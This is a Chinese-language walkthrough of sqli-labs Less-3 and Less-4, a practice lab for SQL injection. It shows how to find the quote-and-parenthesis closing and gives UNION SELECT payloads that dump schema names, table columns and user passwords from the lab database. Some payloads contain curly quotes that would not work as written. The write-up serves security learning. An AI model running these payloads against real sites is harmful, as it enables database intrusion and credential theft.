今天我们来学习sqli-labs的第三关!
1. 判断注入的数据类型
http://192.168.228.129/sqli-labs-master/Less-3/?id=1
http://192.168.228.129/sqli-labs-master/Less-3/?id=1 and 1=2
根据url中输入的内容,输入id=1跟id=1 and 1=2结果一样没有变化,所以我们判断是非整型注入;则有可能是字符型注入,所以我们现在来构造闭合语句,然后看执行的结果:
192.168.228.129/sqli-labs-master/Less-3/?id=1' --+
用单引号闭合时,可以看到出现错误,说明存在注入点,当我们 用注释符注释掉后面的内容的时候,仍然报错,说明前面还没有完全闭合,所以我们继续在此基础上构造闭合:
http://192.168.228.129/sqli-labs-master/Less-3/?id=1’) --+
可以看出,已经完全闭合了,我们可以通过and来测试结果是否正确:
http://192.168.228.129/sqli-labs-master/Less-3/?id=1’) and 1=2 --+
当我们在后面跟上1=2的时候,我们的语法是正确的,但是整个条件恒为假,所以就会不显示任何东西,可见我们的判断是正确的。
2. 猜字段
结果显示有三个字段!
3. 报数据库
所以我们现在可以在这些显示位上用一些数据库函数来获取一些信息:
http://192.168.228.129/sqli-labs-master/Less-3/?id=-1’) union select null,database(),user() --+
爆数据库成功,还有该数据库的权限管理者,我们还可以在继续借助information_schema来把所有的数据库都爆出来:
http://192.168.228.129/sqli-labs-master/Less-3/?id=-1’) union select null,group_concat(schema_name),null from information_schema.schemata --+
4. 爆字段
到这块之后,我们知道了当前数据库的名字,接下来要做的就是把security库里面所有表爆出来,进而在把表中的字段,以及数据爆出来:
http://192.168.228.129/sqli-labs-master/Less-3/?id=-1’) union select null,group_concat(table_name,‘--’,column_name),null from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
5. 爆数据
现在已经爆出users表中的三个字段,数据的话方法与Less-1和2一样,如下:
http://192.168.228.129/sqli-labs-master/Less-3/?id=-1’) union select null,null,group_concat(id,‘--’,username,‘--’,password) from users --+
到此,Less-3数据爆破结束!!!
我们顺便再来看看Less-4,因为后面爆破数据库、数据库表、表字段、表数据的语句语法都相同,所以我们在这里只判断Less-4的注入类型:
http://192.168.228.129/sqli-labs-master/Less-4/?id=1
http://192.168.228.129/sqli-labs-master/Less-4/?id=1‘
可以看出,闭合1之后页面并没有发生改变,这并不是我们想要的结果,所以我们继续猜测:
http://192.168.228.129/sqli-labs-master/Less-4/?id=1“ --+
可以看出,我们用"闭合显示语法错误,说明存在注入;并且根据错误提示可以看出,可能是缺少一个括号,于是我们尝试加一个括号看页面有什么提示:
http://192.168.228.129/sqli-labs-master/Less-4/?id=1") --+
显示正常,并且我们可以用and来测试一下:
http://192.168.228.129/sqli-labs-master/Less-4/?id=1“) and 1=1 --+
到此,注入类型已经明确为字符型注入;
最后,爆数据的语句如下:
http://192.168.228.129/sqli-labs-master/Less-4/?id=-1”) union select null,null,group_concat(id,’-‘,username,’-‘,password) from users--+
Less-4就到此结束,中间的一些过程感兴趣的朋友可以自己去尝试,方式与前几关类似;